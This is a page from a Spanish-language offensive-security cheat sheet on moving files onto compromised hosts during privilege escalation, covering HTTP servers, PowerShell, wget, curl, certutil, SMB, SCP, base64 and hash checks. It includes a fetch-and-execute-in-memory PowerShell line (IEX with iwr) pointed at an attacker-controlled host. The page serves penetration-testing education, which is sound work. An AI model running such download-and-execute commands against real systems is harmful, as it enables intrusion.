🔴
Pentesting, Ethical Hacking & Offensive Security
  • Inicio
  • General
    • Metodologías y estándares
    • Vulnerabilidades
    • Bases de datos de vulnerabilidades
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Información general
    • Información de recursos en Internet
    • Direcciones IP y ASN
    • Hosts
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
    • Web Application Firewall (WAF)
    • Sistema operativo
    • Google hacking / dorks
    • Buckets
  • Escaneo y enumeración
    • Descubrimiento de host
    • Sniffing y MitM attack
    • Escaneo de puertos
    • Identificación de servicios
    • Servicios
      • 21/TCP (FTP)
      • 22/TCP (SSH)
      • 25/TCP, 465/TCP, 587/TCP (SMTP/S)
      • 80/TCP, 443/TCP (HTTP/S)
      • 137/UDP, 138/UDP, 139/TCP (NetBIOS)
      • 161/UDP, 162/UDP (SNMP)
      • 389/TCP/UDP, 636/TCP, 3268/TCP, 3269/TCP (LDAP)
      • 445/TCP (SMB)
      • 1433/TCP (MSSQL Server)
      • 2049/TCP (NFS)
      • 3306/TCP (MySQL)
      • 3389/TCP (RDP)
      • 6379/TCP (Redis)
      • 27017/TCP (MongoDB)
    • Herramientas automatizadas
  • Explotación
    • Ataques de contraseñas
      • Wordlists y diccionarios
      • Fuera de línea (offline)
        • Archivo passwd y shadow
        • Archivo SAM y SYSTEM
        • Archivos zip
        • Hashes
      • En línea (online)
        • Hash
        • Password spraying
        • 21/TCP (FTP)
        • 22/TCP (SSH)
        • 23/TCP (Telnet)
        • 80/TCP, 443/TCP (HTTP/S)
        • 161/UDP, 162/UDP (SNMP)
        • 445/TCP (SMB)
        • 3306/TCP (MySQL)
        • 5985/TCP, 5986/TCP (WinRM)
    • Web
    • Active Directory
    • Mobile
    • Wireless
    • Servicios
      • 22/TCP (SSH)
      • 53/TCP, 53/UDP (DNS)
      • 80/TCP, 443/TCP (HTTP/S)
      • 445/TCP (SMB)
      • 161/UDP, 162/UDP (SNMP)
      • 1433/TCP (MSSQL Server)
      • 2049/TCP (NFS)
      • 3389/TCP (RDP)
      • 5985/TCP, 5986/TCP (WinRM)
      • 6379/TCP (Redis)
      • Git
    • Vulnerabilidades
      • CVE-2009-3103 / MS09-050
      • Netapi (MS08-067)
      • Heartbleed (CVE-2014-0160)
      • Shellshock / Bashdoor (CVE-2014-6271)
      • EternalBlue (CVE-2017-0144 / MS17-010)
    • Shells
      • General
      • MSFvenom
      • Linux/Unix
      • Windows
    • Stack-Based Buffer Overflow Windows x86
  • Escalamiento de privilegios
    • Transferencia de archivos
    • Linux/Unix
      • Información general
      • Búsqueda de archivos y directorios
      • Sudo / SUID (Set User ID)
      • Grupos
      • Capabilities
      • Herramientas automatizadas
      • PATH Variable
      • Python Library Hijacking
      • 2049/TCP (NFS)
    • Windows
      • Información general
      • Búsqueda de archivos
      • Herramientas automatizadas
      • Metasploit
      • Always install elevated
      • SeImpersonate / SeAssignPrimaryToken
      • Servicios
        • Permisos de servicio inseguros
        • Ruta de servicio sin comillas
  • Post explotación
    • Pillaging
    • Persistencia
      • Windows
    • Pivoting
      • chisel
      • Metasploit
      • Port forwarding
      • Proxy
      • socat
      • SSH Tunneling
      • Tabla de enrutamiento
Con tecnología de GitBook
En esta página
  • Servidor
  • Python
  • PowerShell
  • Cliente
  • PowerShell
  • Wget
  • cURL
  • CertUtil
  • PowerShell remoting
  • SMB
  • Impacket
  • SCP (secure copy)
  • Base64
  • Validación de integridad de archivo
  • Linux/Unix
  • Windows

¿Te fue útil?

  1. Escalamiento de privilegios

Transferencia de archivos

Servidor

Python

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

PowerShell

Add-Type -AssemblyName "System.Web";$HTTPListener=New-Object Net.HttpListener;$HTTPListener.Prefixes.Add("http://<IP-address>:<port>/");$HTTPListener.Start();While ($HTTPListener.IsListening){$HC=$HTTPListener.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type",[System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl));$Stream=[System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)));$HRes.ContentLength64=$Stream.Length;$Stream.CopyTo($HRes.OutputStream);$Stream.Close();$HRes.Close()};$HTTPListener.Stop()

Cliente

PowerShell

Descarga de archivos.

PowerShell -c "IWR -useBasicParsing http://<IP-address>:<port>/<filename.extension> -o <path\filename.extension>"
Invoke-WebRequest -Uri "http://<IP-address>:<port>/<filename.extension>" -OutFile "<path\filename.extension>"
(New-Object Net.WebClient).DownloadFile("http://<IP-address>:<port>/<filename.extension>","<path\filename.extension>")

Transferencia y execución de archivo en memoria.

IEX (iwr http://<IP-address>:<port>/<filename.ps1> -UseBasicParsing)

Wget

wget http://<IP-address>:<port>/<filename.extension> -O <path/filename.extension>
  • -O = ruta donde será descargado y cual será el nombre del archivo.

wget http://<IP-address>:<port>/<filename.extension> -P <path>
  • -P = ruta donde será descargado el archivo.

cURL

curl http://<IP-address>:<port>/<filename.extension> -o <filename.extension>

CertUtil

certutil.exe -urlcache -f http://<IP-address>:<port>/<filename.extension> <filename.extension>

PowerShell remoting

$session = New-PSSession -ComputerName <computer-name>
Copy-Item -ToSession $session -Path C:\<path>\<filename.extension> -Destination C:\<destination-directory>
Enter-PSSession -Session $session
ls C:\<destination-directory>

SMB

Impacket

# Servidor (Linux)
# opción 1
mkdir /tmp/smb-temp && cd /tmp/smb-temp
python /impacket/examples/smbserver.py share . -smb2support -username <username> -password <password>
# opción 2
python /impacket/examples/smbserver.py share $(pwd)
impacket-smbserver share $(pwd)

# Cliente (Windows)
net use \\<IP-address>\share /USER:<username> <password>
copy \\<IP-address>\share\<file> %TEMP%\<file>
dir %TEMP%
net use \\<IP-address>\share /del

SCP (secure copy)

Subir archivo local a remoto.

scp <file> <user>@<IP-address>:<destination-directory>

Descargar archivo remoto a local.

scp <user>@<IP-address>:<file> <destination-directory>

Base64

# Máquina origen
base64 -w 0 <file> | xclip -sel clip
# Máquina destino
echo "<Ctrl+V>" | base64 -d > <file>

Validación de integridad de archivo

Linux/Unix

# MD5
md5sum <file>
# SHA1
sha1sum <file>

Windows

# MD5
certutil.exe -hashfile <file> MD5
# SHA1
certutil.exe -hashfile <file>

# PowerShell
## MD5
Get-FileHash <file> -Algorithm MD5 | Format-List
## SHA1
Get-FileHash <file> -Algorithm SHA1 | Format-List
## SHA256
Get-FileHash <file> | Format-List
AnteriorStack-Based Buffer Overflow Windows x86SiguienteLinux/Unix

Última actualización hace 2 años

¿Te fue útil?